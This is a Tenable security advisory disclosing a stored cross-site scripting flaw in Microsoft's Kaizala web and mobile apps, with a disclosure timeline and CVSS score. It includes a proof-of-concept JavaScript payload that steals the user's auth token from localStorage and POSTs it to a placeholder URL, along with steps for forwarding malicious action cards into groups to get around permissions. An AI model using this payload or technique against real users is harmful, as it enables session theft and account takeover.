Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Cross-site Scripting in webapp.kaiza.la and kaizala mobile app

Medium

Synopsis

Tenable discovered an issue in webapp.kaiza.la and the kaizala mobile application which allows an attacker to forward custom action cards to private or public groups, even if they do not have permission to send messages or action cards in that group. As custom action cards can execute javascript determined by the attacker, this can result in a stored cross-site scripting payload.

This means that custom actions can theoretically grab a web client user's authorization tokens for webapp.kaiza.la, and exfiltrate / manipulate data for users on the mobile application. It should be noted, that for the mobile application this requires the mobile user to first accept a prompt to trust the custom action (no such prompt existed for webapp.kaiza.la users at the time of reporting).

Normally, custom actions cannot be sent to groups in which the sender is not an admin / in a group which has not added that action, however it is possible to get around this limitation by forwarding the already-sent action from a group in which the attacker is an admin.

More concisely, the steps of this attack are:

  1. Attacker uploads a malicious custom action (leaving a malicious javascript payload in the summary view).
  2. Attacker sends the action to a group in which they are an admin.
  3. Attacker forwards the action to a group in which they cannot send custom actions (like public groups which allow chatting).
  4. If a victim clicks the action to view the summary view, the malicious javascript will run (potentially allowing the attacker to perform actions on the victim's behalf or steal the victim's authorization tokens).

Proof of Concept:

Using the simple Announcement action template, an attacker can create a custom action in manage.kaiza.la, which contains malicious javascript which will execute if a user clicks the action, and accepts the dialog options to trust the action card.

A quick example can be achieved by appending the following to the showSummaryPage() function. This payload does different things if the victim is triggering it from the webapp or the mobile app.

  • Web app: grabs the user's ac.auth token and browser info and sends it to the listening server, and triggers an alert() box indicating as such.
  • Mobile app: Sends the victim's browser client info to the listening server, and triggers an alert using the KASClient library's showAlert function. 
function showSummaryPage() {
            var res = new XMLHttpRequest();
            if (KASClient.getPlatform() == 5) {
                res.open("POST", "https://webapp.kaiza.la/fakeurl");
                res.send(JSON.stringify("ac.auth token ::: " + parent.localStorage.getItem("ac.authToken")) + " Client Info ::: " + JSON.stringify(clientInformation.appVersion));
                alert("Tenable : sent auth Token and client browser info from origin : " + this.parent.location.origin);
            } else {
                res.open("POST", "https://webapp.kaiza.la/fakeurl");
                res.send("Client Info ::: " + JSON.stringify(parent.clientInformation.appVersion));
                KASClient.showAlert("Tenable : sent client info to test domain. This page's origin : " + this.parent.location.origin);
            }

After creating a malicious action:

  1. Upload and publish the action to an attacker-controlled group

  2. Send the action to the attacker-controlled group

  3. Forward the action to a public/private group where you would not otherwise be able to send custom actions/trigger a cross-site scripting vulnerability against other users.

Solution

Microsoft has added the same trust prompt to webapp.kaiza.la that mobile users previously had, allowing them to either trust or cancel the opening of a custom action summary view, meaning a user must both click the action, and accept the prompt to trust the action.

However Microsoft has not yet addressed the issue of being able to forward custom actions to groups where the user should not have permission to do so.

Disclosure Timeline

11 Feb, 2022 - Reported
14 Feb, 2022 - Microsoft confirms, MSRC ticket moves to Review/Repro
28 Feb, 2022 - MSRC ticket moved to develop
29 Apr, 2022 - MSRC status changed from Develop to Pre-Release
6 May, 2022 - Tenable notes in MSRC ticket that the issue is not completely fixed
13 May, 2022 - Microsoft asks Tenable to open a new case
16 May, 2022 - Tenable publishes advisory (90 day disclosure date for issue has passed)

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2022-16
Credit:
Evan Grant
CVSSv3 Base / Temporal Score:
6.1
CVSSv3 Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected Products:
webapp.kaiza.la
kaiza.la ios and android applications
Risk Factor:
Medium

Advisory Timeline

16 May, 2022 - Advisory Published